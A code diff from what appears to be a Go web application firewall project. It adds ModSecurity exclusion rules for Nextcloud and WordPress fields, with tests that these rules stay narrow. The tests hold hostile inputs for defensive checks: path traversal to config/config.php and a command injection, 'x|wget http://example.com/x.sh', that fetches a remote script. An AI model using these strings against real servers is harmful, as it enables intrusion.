ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
ctl:ruleRemoveTargetById=932260;ARGS:dir"
# The file names on a public share's page. A preview names its file in file:
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
"id:900104,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932250;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file"
# A download names its folder in path and its files in files:
# /s/<token>/download?path=/&files=powershell%20profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
"id:900105,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
# The OCS API's searches and names, in the query, a form data body or a JSON
# body:
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
# cloud/users, cloud/groups, cloud/groups/details and the sharees
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
# groupid, userid, displayName: adding the group "Python3 admins" and the
# account python3, displayName=Ls+-la+Example
# groups[], or groups in JSON: the groups of a new account,
# groups[]=Python3+admins
# value: changing an account's name, address or headline, value=Powershell+Lane
# path, label, shareWith: sharing the folder "/ls -la output" with the
# label "python3 link"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900106,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900107,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
# A share's note, in the query, a form data body or a JSON body, on a new
# share or a changed one: {"note":"It is fixed; diff attached"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900108,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:note,\
ctl:ruleRemoveTargetById=932120;ARGS:note,\
ctl:ruleRemoveTargetById=932125;ARGS:note,\
ctl:ruleRemoveTargetById=932230;ARGS:note,\
ctl:ruleRemoveTargetById=932235;ARGS:note,\
ctl:ruleRemoveTargetById=932250;ARGS:note,\
ctl:ruleRemoveTargetById=932260;ARGS:note,\
ctl:ruleRemoveTargetById=932380;ARGS:note"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900109,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.note "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
# An account's status, in the query, a form data body or a JSON body:
# {"message":"Tested on Windows; powershell works"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900110,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:message,\
ctl:ruleRemoveTargetById=932120;ARGS:message,\
ctl:ruleRemoveTargetById=932125;ARGS:message,\
ctl:ruleRemoveTargetById=932230;ARGS:message,\
ctl:ruleRemoveTargetById=932235;ARGS:message,\
ctl:ruleRemoveTargetById=932250;ARGS:message,\
ctl:ruleRemoveTargetById=932260;ARGS:message,\
ctl:ruleRemoveTargetById=932380;ARGS:message"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900111,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
# The name and slogan in the theming admin settings, in the JSON field value:
# {"setting":"slogan","value":"ls -la and .htaccess"}.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
"id:900112,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.value "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
# The Text editor saves a document, such as a folder's Readme.md, with its
# path in the JSON field filePath and its text in autosaveContent. The text
# skips the rules for sentences and code blocks too.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
"id:900113,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
# A comment on a file, in the JSON field message of a new comment, and in the
# XML body of an edited one. It skips the rules for sentences too. An edited
# comment's XML holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
"id:900114,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
"id:900115,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PROPPATCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932235;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*,\
ctl:ruleRemoveTargetById=932380;XML:/*"
# The Files app's search sends its words in the XML body of a SEARCH request,
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
"id:900116,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq SEARCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The name of a new tag, in the JSON field name: {"name": "python3"}.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
"id:900117,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# A file the Files app or the sync client uploads with PUT to the WebDAV
# paths is a file, not form data. Read as fields, a JSON file holding
# "python3 -m pytest" was refused (932260), and an XML file holding
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
# RAW, a kind of body sww does not read. Its headers, path and query are
# still checked.
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
+549
View File
@@ -0,0 +1,549 @@
package coreruleset_test
import (
"encoding/json"
"html"
"maps"
"net/http"
"net/url"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
const nextcloudSignIn = "/login"
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
// nextcloudPreview is a public share's preview of a file.
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"
// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
// nextcloudStatus is where the OCS API sets an account's status.
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"
// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"
// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
nextcloudSearch = "SEARCH"
nextcloudPropPatch = "PROPPATCH"
nextcloudPropFind = "PROPFIND"
)
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
"/login?user=",
"/login?redirect_url=",
"/index.php/login?user=",
"/apps/files/?dir=",
"/apps/files/files/134?dir=",
"/index.php/apps/files/?dir=",
nextcloudPreview + "?file=",
nextcloudShare + "/download?path=",
nextcloudShare + "/download?path=%2F&files=",
nextcloudUsers + "?search=",
nextcloudUsers + "/details?search=",
"/ocs/v2.php/cloud/groups?search=",
"/ocs/v1.php/cloud/groups/details?search=",
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
nextcloudShares + "?path=",
"/ocs/v2.php/search/providers/files/search?term=",
"/ocs/v2.php/search/providers/files/search?term=x&from=",
}
// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{nextcloudSignIn, "user="},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
{nextcloudUsers + "/admin", "value="},
{"/ocs/v2.php/cloud/groups", "groupid="},
{nextcloudShares, "path="},
{nextcloudShares, "label="},
{nextcloudShares, "shareWith="},
}
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
// path. It holds %s, where a value goes, written as the body's type needs.
type nextcloudBody struct{ method, target, contentType, body string }
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
}
// nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var nextcloudDocument = nextcloudBody{
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
}
// nextcloudTexts are the fields that hold what a person writes, which skip
// the rules for sentences too: a document, a comment, a share's note and an
// account's status.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
nextcloudDocument,
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
`</d:propertyupdate>`,
},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
{
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s",
},
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
}
// nextcloudSentences are sentences recorded in the texts, which rules
// refused there.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudSentences = []string{
"It is fixed; diff attached",
"Run python3 or powershell; ls -la shows .htaccess",
"We need more time; find the old notes first",
"Tested on Windows; powershell works",
}
// nextcloudCodeBlock is a shell script in a code block of a document, as
// recorded.
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
// nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore(
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
) (string, int) {
t.Helper()
switch sent.contentType {
case formData:
value = url.QueryEscape(value)
case jsonBody:
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
value = string(quoted[1 : len(quoted)-1])
case xmlBody:
value = html.EscapeString(value)
}
body := strings.Replace(sent.body, "%s", value, 1)
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, body)
return sent.method + " " + sent.target + " " + body, got.Score
}
// nextcloudFieldScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends value, a query value, in one of the
// fields that skip the four rules, keyed by the request.
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range nextcloudFormFields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
scores["POST "+sent.target+" "+sent.field+value] = got.Score
}
written, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range nextcloudBodies {
request, score := nextcloudBodyScore(t, crs, sent, written)
scores[request] = score
}
return scores
}
// nextcloudTextScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends text, which is not escaped, in one of
// the texts, keyed by the request.
func nextcloudTextScores(t *testing.T, text string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, sent := range nextcloudTexts {
request, score := nextcloudBodyScore(t, crs, sent, text)
scores[request] = score
}
return scores
}
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
// bodies, gives signing in with value, a query value, as the password.
func nextcloudPasswordScore(t *testing.T, value string) int {
t.Helper()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
return got.Score
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for request, score := range nextcloudFieldScores(t, value) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
t.Errorf("password %s refused: %d", value, score)
}
}
}
func TestNextcloudPasswordPasses(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
wantRandomPasswordsPass(t, r, "password")
// No rule the password keeps catches the SQL injection or the path
// traversal.
wantPasswordAttacksRefused(t, r, "password", scriptTag)
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
t.Parallel()
for _, sentence := range nextcloudSentences {
for request, score := range nextcloudTextScores(t, sentence) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fconfig%2Fconfig.php",
scriptInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
scores := nextcloudFieldScores(t, attack)
maps.Copy(scores, nextcloudTextScores(t, written))
for request, score := range scores {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// A shell command after a ";" reaches Nextcloud only in the texts.
for request, score := range nextcloudFieldScores(t, commandInjection) {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
t.Errorf("password %s let through: %d", commandInjection, score)
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
}
for _, value := range hardValues {
name, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
wantResult(t, crs, cookie(name), matched())
}
// A cookie cannot hold a ";", so the command follows a "|" instead.
for _, attack := range []string{
injection,
"../../config/config.php",
scriptTag,
"x|wget http://example.com/x.sh",
} {
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
t.Errorf("nc_username=%s let through: %+v", attack, got)
}
}
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
if got.Score < nextcloudThreshold {
t.Errorf("nc_other=python3 let through: %+v", got)
}
}
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, method := range []string{
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
nextcloudSearch, "LOCK", "UNLOCK",
} {
for _, target := range []string{
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
} {
wantResult(t, crs, request{method, target, nil}, matched())
}
for _, target := range []string{
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
} {
wantResult(t, crs, request{method, target, nil}, matched(911100))
}
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
}
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
// them, which rules refused when they read them as fields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudUploads = []struct{ name, contentType, body string }{
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
}
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, upload := range nextcloudUploads {
uploaded := request{
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
}
got, _ := inspectBody(t, crs, uploaded, upload.body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
}
for _, refused := range []request{
// Elsewhere, or with another method, the body is read.
{http.MethodPost, "/", uploaded.headers},
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
{http.MethodPost, uploaded.target, uploaded.headers},
// The query is still checked.
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
} {
got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
}
}
}
}
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
for _, method := range methods {
for _, target := range []string{
nextcloudFiles + "../../../config/config.php",
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
} {
got := inspect(t, crs, request{method, target, nil})
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", method, target, got)
}
}
}
}
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, refused := range []string{
"/?dir=python3",
"/apps/other/?dir=python3",
"/apps/files/?other=python3",
"/login?other=python3",
"/x/login?user=python3",
nextcloudShare + "?files=powershell",
"/?file=powershell",
// Each public share path keeps the rules on the other's fields.
nextcloudPreview + "?files=powershell",
nextcloudShare + "/download?file=powershell",
"/?search=python3",
nextcloudUsers + "?other=python3",
"/x/ocs/v2.php/cloud/users?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
for _, sent := range []nextcloudBody{
// A JSON field of the same name in the query keeps the rules.
{
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
jsonBody, `{"value":"python3"}`,
},
{
http.MethodPost, nextcloudUsers + "?json.userid=python3",
jsonBody, `{"userid":"python3"}`,
},
{
http.MethodPut, nextcloudShares + "/1?json.note=python3",
jsonBody, `{"note":"python3"}`,
},
{
http.MethodPut, nextcloudStatus + "?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
// Other JSON fields keep them.
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
// A note or a status on another OCS path keeps them.
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
// XML on another path, or with another method, keeps them.
{
nextcloudSearch, nextcloudFiles,
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
},
{
nextcloudPropPatch, nextcloudFiles + "notes.txt",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
{
"REPORT", "/remote.php/dav/comments/files/1/2",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
} {
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
}
}
}
File diff suppressed because it is too large. Load diff
+37 -3
View File
@@ -96,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, where a password holds any characters:
# 930120: a password ending in /etc/hosts
# Signing in, in pwd, which skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
SecRule &ARGS_GET:pwd "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
